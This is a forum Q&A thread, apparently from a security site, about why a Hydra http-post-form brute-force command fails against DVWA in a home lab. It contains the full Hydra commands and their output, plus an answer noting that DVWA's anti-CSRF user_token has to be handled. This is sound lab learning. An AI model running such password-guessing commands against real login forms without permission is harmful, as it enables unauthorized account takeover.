I've got VMware Workstation. I'm running Metasploitable2 and Damn Vulnerable Web App. I'm trying to attack it using Hydra in kali Linux. To save time I made a very small password list and included the real password (password) in it.

Here's the command and the output

user1@kali:~$ hydra -l admin -P '/home/user1/Desktop/easy.txt' http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-03-09 22:03:37
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 8 tasks per 1 server, overall 64 tasks, 8 login tries (l:1/p:8), ~0 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target - login "admin" - pass "aaa" - 1 of 8 [child 0]
[ATTEMPT] target - login "admin" - pass "bbb" - 2 of 8 [child 1]
[ATTEMPT] target - login "admin" - pass "cccc" - 3 of 8 [child 2]
[ATTEMPT] target - login "admin" - pass "ddddd" - 4 of 8 [child 3]
[ATTEMPT] target - login "admin" - pass "eee" - 5 of 8 [child 4]
[ATTEMPT] target - login "admin" - pass "password" - 6 of 8 [child 5]
[ATTEMPT] target - login "admin" - pass "dfsdaf" - 7 of 8 [child 6]
[ATTEMPT] target - login "admin" - pass "23456" - 8 of 8 [child 7]
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-03-09 22:04:20

Here's the contents of easy.txt (notice password is in there)


Why didn't it work? I can manually log into DVWA using username:admin and password:password from a webbrowser. Also the command takes a couple minutes to complete.

  • Try this: hydra -l admin -P /home/user1/Desktop/easy.txt dvwa http-get-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect." - V – Mirsad Mar 10 '16 at 6:24
  • @ it couldn't resolve dvwa and instead of "Username and/or password inccorrect" the failure message is "Login failed" and other than those 2 things your command is the same as the original – Celeritas Mar 10 '16 at 7:13
  • Are you sure its an http-post-form and not a get one? (just double checking) – Victor Mar 10 '16 at 10:00

If I read the source for login.php correctly (at https://github.com/RandomStorm/DVWA/blob/master/login.php) the page does a check for an anti-CSRF token. If it is not there, you will get a redirect back to the login page. So you will need to include that token in your tries.

I won't give it away completely but check for a hidden parameter called user_token in your login page.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.